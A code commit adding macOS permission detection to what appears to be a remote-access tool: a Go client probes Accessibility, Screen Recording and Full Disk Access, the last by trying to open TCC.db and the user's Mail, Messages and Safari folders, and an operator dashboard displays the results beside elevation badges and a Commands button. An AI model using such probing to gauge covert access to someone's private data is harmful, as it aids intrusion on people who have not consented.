mac permissions overhaul
This commit is contained in:
@@ -3,7 +3,10 @@
|
|||||||
package sysinfo
|
package sysinfo
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"errors"
|
||||||
|
"io"
|
||||||
"os"
|
"os"
|
||||||
|
"path/filepath"
|
||||||
)
|
)
|
||||||
|
|
||||||
func IsAdmin() bool {
|
func IsAdmin() bool {
|
||||||
@@ -19,9 +22,50 @@ func Elevation() string {
|
|||||||
|
|
||||||
func DarwinPermissions() map[string]bool {
|
func DarwinPermissions() map[string]bool {
|
||||||
return map[string]bool{
|
return map[string]bool{
|
||||||
"screenRecording": false,
|
"screenRecording": darwinScreenRecordingPermission(),
|
||||||
"accessibility": false,
|
"accessibility": darwinAccessibilityPermission(),
|
||||||
"fullDiskAccess": false,
|
"fullDiskAccess": darwinFullDiskAccessPermission(),
|
||||||
"root": os.Getuid() == 0,
|
"root": os.Getuid() == 0,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func darwinFullDiskAccessPermission() bool {
|
||||||
|
home, _ := os.UserHomeDir()
|
||||||
|
candidates := []string{
|
||||||
|
"/Library/Application Support/com.apple.TCC/TCC.db",
|
||||||
|
}
|
||||||
|
if home != "" {
|
||||||
|
candidates = append(candidates,
|
||||||
|
filepath.Join(home, "Library", "Mail"),
|
||||||
|
filepath.Join(home, "Library", "Messages"),
|
||||||
|
filepath.Join(home, "Library", "Safari"),
|
||||||
|
filepath.Join(home, "Library", "Calendars"),
|
||||||
|
filepath.Join(home, "Library", "Application Support", "AddressBook"),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, path := range candidates {
|
||||||
|
if canOpenProtectedPath(path) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func canOpenProtectedPath(path string) bool {
|
||||||
|
f, err := os.Open(path)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
|
||||||
|
info, err := f.Stat()
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
if !info.IsDir() {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
_, err = f.Readdirnames(1)
|
||||||
|
return err == nil || errors.Is(err, io.EOF)
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
//go:build darwin && cgo
|
||||||
|
|
||||||
|
package sysinfo
|
||||||
|
|
||||||
|
/*
|
||||||
|
#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics
|
||||||
|
|
||||||
|
#include <ApplicationServices/ApplicationServices.h>
|
||||||
|
#include <CoreGraphics/CoreGraphics.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
extern bool CGPreflightScreenCaptureAccess(void) __attribute__((weak_import));
|
||||||
|
|
||||||
|
static int checkAccessibilityPermission(void) {
|
||||||
|
return AXIsProcessTrusted() ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int checkScreenRecordingPermission(void) {
|
||||||
|
if (CGPreflightScreenCaptureAccess == NULL) return 0;
|
||||||
|
return CGPreflightScreenCaptureAccess() ? 1 : 0;
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
import "C"
|
||||||
|
|
||||||
|
func darwinAccessibilityPermission() bool {
|
||||||
|
return C.checkAccessibilityPermission() == 1
|
||||||
|
}
|
||||||
|
|
||||||
|
func darwinScreenRecordingPermission() bool {
|
||||||
|
return C.checkScreenRecordingPermission() == 1
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
//go:build darwin && !cgo
|
||||||
|
|
||||||
|
package sysinfo
|
||||||
|
|
||||||
|
func darwinAccessibilityPermission() bool {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
func darwinScreenRecordingPermission() bool {
|
||||||
|
return false
|
||||||
|
}
|
||||||
@@ -2580,6 +2580,28 @@ tbody tr:hover {
|
|||||||
.cv-pill-system { background: rgba(239, 68, 68, 0.12); color: #fca5a5; border-color: rgba(239, 68, 68, 0.3); }
|
.cv-pill-system { background: rgba(239, 68, 68, 0.12); color: #fca5a5; border-color: rgba(239, 68, 68, 0.3); }
|
||||||
.cv-pill-ti { background: rgba(168, 85, 247, 0.12); color: #d8b4fe; border-color: rgba(168, 85, 247, 0.3); }
|
.cv-pill-ti { background: rgba(168, 85, 247, 0.12); color: #d8b4fe; border-color: rgba(168, 85, 247, 0.3); }
|
||||||
.cv-pill-muted { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); }
|
.cv-pill-muted { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); }
|
||||||
|
.cv-pill-macperm.is-ok { background: rgba(16, 185, 129, 0.12); color: #86efac; border-color: rgba(16, 185, 129, 0.3); }
|
||||||
|
.cv-pill-macperm.is-warn { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); }
|
||||||
|
|
||||||
|
.cv-perm-list {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 6px;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
.cv-perm-chip {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 5px;
|
||||||
|
min-height: 22px;
|
||||||
|
padding: 2px 7px;
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
font-size: 11px;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
.cv-perm-chip.is-ok { background: rgba(16, 185, 129, 0.1); color: #86efac; border-color: rgba(16, 185, 129, 0.25); }
|
||||||
|
.cv-perm-chip.is-missing { background: rgba(244, 63, 94, 0.1); color: #fda4af; border-color: rgba(244, 63, 94, 0.25); }
|
||||||
|
|
||||||
.cv-group {
|
.cv-group {
|
||||||
display: inline-flex;
|
display: inline-flex;
|
||||||
@@ -3348,6 +3370,16 @@ tbody tr:hover {
|
|||||||
}
|
}
|
||||||
.cv-card-hw-bit i { color: var(--cv-text-dim); font-size: 10px; }
|
.cv-card-hw-bit i { color: var(--cv-text-dim); font-size: 10px; }
|
||||||
|
|
||||||
|
.cv-card-perms {
|
||||||
|
margin-top: 6px;
|
||||||
|
padding: 6px 8px;
|
||||||
|
background: var(--cv-surface2);
|
||||||
|
border-radius: 6px;
|
||||||
|
}
|
||||||
|
.cv-card-perms .cv-field {
|
||||||
|
gap: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
.cv-cpu-badge {
|
.cv-cpu-badge {
|
||||||
display: inline-flex;
|
display: inline-flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
|
|||||||
@@ -200,6 +200,46 @@ function batteryHtml(client, { compact = false } = {}) {
|
|||||||
</span>`;
|
</span>`;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function isMacClient(client) {
|
||||||
|
const os = String(client?.os || "").toLowerCase();
|
||||||
|
return os.includes("mac") || os.includes("darwin");
|
||||||
|
}
|
||||||
|
|
||||||
|
const MAC_PERMISSION_LABELS = [
|
||||||
|
["accessibility", "Accessibility"],
|
||||||
|
["screenRecording", "Screen Recording"],
|
||||||
|
["fullDiskAccess", "Full Disk Access"],
|
||||||
|
];
|
||||||
|
|
||||||
|
function macPermissionState(client) {
|
||||||
|
if (!isMacClient(client) || !client.permissions || typeof client.permissions !== "object") return null;
|
||||||
|
const items = MAC_PERMISSION_LABELS
|
||||||
|
.filter(([key]) => typeof client.permissions[key] === "boolean")
|
||||||
|
.map(([key, label]) => ({ key, label, granted: client.permissions[key] === true }));
|
||||||
|
if (!items.length) return null;
|
||||||
|
const missing = items.filter((item) => !item.granted);
|
||||||
|
return { items, missing };
|
||||||
|
}
|
||||||
|
|
||||||
|
function macPermissionBadgeHtml(client) {
|
||||||
|
const state = macPermissionState(client);
|
||||||
|
if (!state) return "";
|
||||||
|
const title = state.items.map((item) => `${item.label}: ${item.granted ? "granted" : "missing"}`).join(" · ");
|
||||||
|
const ok = state.missing.length === 0;
|
||||||
|
return `<span class="cv-mini-pill cv-pill-macperm ${ok ? "is-ok" : "is-warn"}" title="${escapeHtml(title)}"><i class="fa-solid ${ok ? "fa-key" : "fa-triangle-exclamation"}"></i></span>`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function macPermissionDetailHtml(client) {
|
||||||
|
const state = macPermissionState(client);
|
||||||
|
if (!state) return "";
|
||||||
|
const chips = state.items.map((item) => `
|
||||||
|
<span class="cv-perm-chip ${item.granted ? "is-ok" : "is-missing"}">
|
||||||
|
<i class="fa-solid ${item.granted ? "fa-check" : "fa-xmark"}"></i>${escapeHtml(item.label)}
|
||||||
|
</span>
|
||||||
|
`).join("");
|
||||||
|
return `<div class="cv-field cv-field-wide"><span class="cv-field-label">macOS Permissions</span><span class="cv-field-value cv-perm-list">${chips}</span></div>`;
|
||||||
|
}
|
||||||
|
|
||||||
function shortOsLabel(osRaw = "") {
|
function shortOsLabel(osRaw = "") {
|
||||||
const badge = osBadge(osRaw || "");
|
const badge = osBadge(osRaw || "");
|
||||||
if (badge?.label && badge.label !== "Linux" && badge.label !== "Windows") return badge.label;
|
if (badge?.label && badge.label !== "Linux" && badge.label !== "Windows") return badge.label;
|
||||||
@@ -536,7 +576,7 @@ export function createRenderer({
|
|||||||
}
|
}
|
||||||
|
|
||||||
function cardDigest(c) {
|
function cardDigest(c) {
|
||||||
return `${currentDisplayDigest}|${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.batteryPercent}|${c.batteryCharging}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`;
|
return `${currentDisplayDigest}|${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${JSON.stringify(c.permissions || {})}|${c.cpu}|${c.gpu}|${c.ram}|${c.batteryPercent}|${c.batteryCharging}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
function cardThumbDigest(c) {
|
function cardThumbDigest(c) {
|
||||||
@@ -795,6 +835,7 @@ export function createRenderer({
|
|||||||
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
|
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
|
||||||
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
|
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
|
||||||
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : ""}
|
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : ""}
|
||||||
|
${macPermissionBadgeHtml(client)}
|
||||||
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
|
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
|
||||||
</div>
|
</div>
|
||||||
${showField("user") ? `<div class="cv-user-line"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}</div>` : ""}
|
${showField("user") ? `<div class="cv-user-line"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}</div>` : ""}
|
||||||
@@ -823,6 +864,7 @@ export function createRenderer({
|
|||||||
${showHardware ? `<div class="cv-field"><span class="cv-field-label">CPU</span><span class="cv-field-value">${cpuHtml}</span></div>` : ""}
|
${showHardware ? `<div class="cv-field"><span class="cv-field-label">CPU</span><span class="cv-field-value">${cpuHtml}</span></div>` : ""}
|
||||||
${showHardware ? `<div class="cv-field"><span class="cv-field-label">RAM</span><span class="cv-field-value">${escapeHtml(client.ram || "—")}</span></div>` : ""}
|
${showHardware ? `<div class="cv-field"><span class="cv-field-label">RAM</span><span class="cv-field-value">${escapeHtml(client.ram || "—")}</span></div>` : ""}
|
||||||
${batteryIndicator ? `<div class="cv-field"><span class="cv-field-label">Battery</span><span class="cv-field-value">${batteryIndicator}</span></div>` : ""}
|
${batteryIndicator ? `<div class="cv-field"><span class="cv-field-label">Battery</span><span class="cv-field-value">${batteryIndicator}</span></div>` : ""}
|
||||||
|
${macPermissionDetailHtml(client)}
|
||||||
${showHardware && client.gpu ? `<div class="cv-field cv-field-wide"><span class="cv-field-label">GPU</span><span class="cv-field-value">${escapeHtml(client.gpu)}</span></div>` : ""}
|
${showHardware && client.gpu ? `<div class="cv-field cv-field-wide"><span class="cv-field-label">GPU</span><span class="cv-field-value">${escapeHtml(client.gpu)}</span></div>` : ""}
|
||||||
${showField("version") && !verLatest && client.version ? `<div class="cv-field"><span class="cv-field-label">Version</span><span class="cv-field-value cv-warn">v${escapeHtml(client.version)} (outdated)</span></div>` : ""}
|
${showField("version") && !verLatest && client.version ? `<div class="cv-field"><span class="cv-field-label">Version</span><span class="cv-field-value cv-warn">v${escapeHtml(client.version)} (outdated)</span></div>` : ""}
|
||||||
</div>
|
</div>
|
||||||
@@ -872,6 +914,7 @@ export function createRenderer({
|
|||||||
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
|
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
|
||||||
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
|
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
|
||||||
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TI"><i class="fa-solid fa-lock"></i></span>` : ""}
|
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TI"><i class="fa-solid fa-lock"></i></span>` : ""}
|
||||||
|
${macPermissionBadgeHtml(client)}
|
||||||
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
|
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
|
||||||
</span>
|
</span>
|
||||||
${userMeta ? `<span class="cv-user-line cv-mono">${userMeta}</span>` : ""}
|
${userMeta ? `<span class="cv-user-line cv-mono">${userMeta}</span>` : ""}
|
||||||
@@ -919,6 +962,7 @@ export function createRenderer({
|
|||||||
const showHardware = showField("hardware");
|
const showHardware = showField("hardware");
|
||||||
const cpuHtml = showHardware && client.cpu ? cpuBadgeHtml(client.cpu) : "";
|
const cpuHtml = showHardware && client.cpu ? cpuBadgeHtml(client.cpu) : "";
|
||||||
const batteryIndicator = showField("battery") ? batteryHtml(client, { compact: true }) : "";
|
const batteryIndicator = showField("battery") ? batteryHtml(client, { compact: true }) : "";
|
||||||
|
const macPermDetail = macPermissionDetailHtml(client);
|
||||||
|
|
||||||
const metaParts = [
|
const metaParts = [
|
||||||
showField("system") ? `<span class="cv-card-meta-bit cv-tone-${os.tone}"><i class="fa ${os.icon}"></i> ${escapeHtml(shortOsLabel(client.os))}</span>` : "",
|
showField("system") ? `<span class="cv-card-meta-bit cv-tone-${os.tone}"><i class="fa ${os.icon}"></i> ${escapeHtml(shortOsLabel(client.os))}</span>` : "",
|
||||||
@@ -931,6 +975,7 @@ export function createRenderer({
|
|||||||
client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : "",
|
client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : "",
|
||||||
client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : "",
|
client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : "",
|
||||||
client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : "",
|
client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : "",
|
||||||
|
macPermissionBadgeHtml(client),
|
||||||
client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : "",
|
client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : "",
|
||||||
].join("");
|
].join("");
|
||||||
|
|
||||||
@@ -975,6 +1020,7 @@ export function createRenderer({
|
|||||||
${showHardware && client.ram ? `<span class="cv-card-hw-bit"><i class="fa-solid fa-memory"></i> ${escapeHtml(client.ram)}</span>` : ""}
|
${showHardware && client.ram ? `<span class="cv-card-hw-bit"><i class="fa-solid fa-memory"></i> ${escapeHtml(client.ram)}</span>` : ""}
|
||||||
${batteryIndicator}
|
${batteryIndicator}
|
||||||
</div>` : ""}
|
</div>` : ""}
|
||||||
|
${macPermDetail ? `<div class="cv-card-perms">${macPermDetail}</div>` : ""}
|
||||||
<div class="cv-card-actions">
|
<div class="cv-card-actions">
|
||||||
${isViewer ? "" : `<button class="command-btn cv-btn-primary cv-btn-flex" data-id="${escapeHtml(client.id)}"><i class="fa-solid fa-terminal"></i><span>Commands</span></button>`}
|
${isViewer ? "" : `<button class="command-btn cv-btn-primary cv-btn-flex" data-id="${escapeHtml(client.id)}"><i class="fa-solid fa-terminal"></i><span>Commands</span></button>`}
|
||||||
<button class="cv-icon-btn cv-ping-btn" title="Ping" ${client.online ? "" : "disabled"}><i class="fa-solid fa-satellite-dish"></i></button>
|
<button class="cv-icon-btn cv-ping-btn" title="Ping" ${client.online ? "" : "disabled"}><i class="fa-solid fa-satellite-dish"></i></button>
|
||||||
|
|||||||
@@ -29,8 +29,16 @@ export type Hello = {
|
|||||||
monitors: number;
|
monitors: number;
|
||||||
monitorInfo?: { width: number; height: number }[];
|
monitorInfo?: { width: number; height: number }[];
|
||||||
country?: string;
|
country?: string;
|
||||||
|
hwid?: string;
|
||||||
|
inMemory?: boolean;
|
||||||
|
cpu?: string;
|
||||||
|
gpu?: string;
|
||||||
|
ram?: string;
|
||||||
batteryPercent?: number;
|
batteryPercent?: number;
|
||||||
batteryCharging?: boolean;
|
batteryCharging?: boolean;
|
||||||
|
isAdmin?: boolean;
|
||||||
|
elevation?: string;
|
||||||
|
permissions?: Record<string, boolean>;
|
||||||
publicKey?: string;
|
publicKey?: string;
|
||||||
signature?: string;
|
signature?: string;
|
||||||
publicIP?: string;
|
publicIP?: string;
|
||||||
|
|||||||
Reference in New Issue
Block a user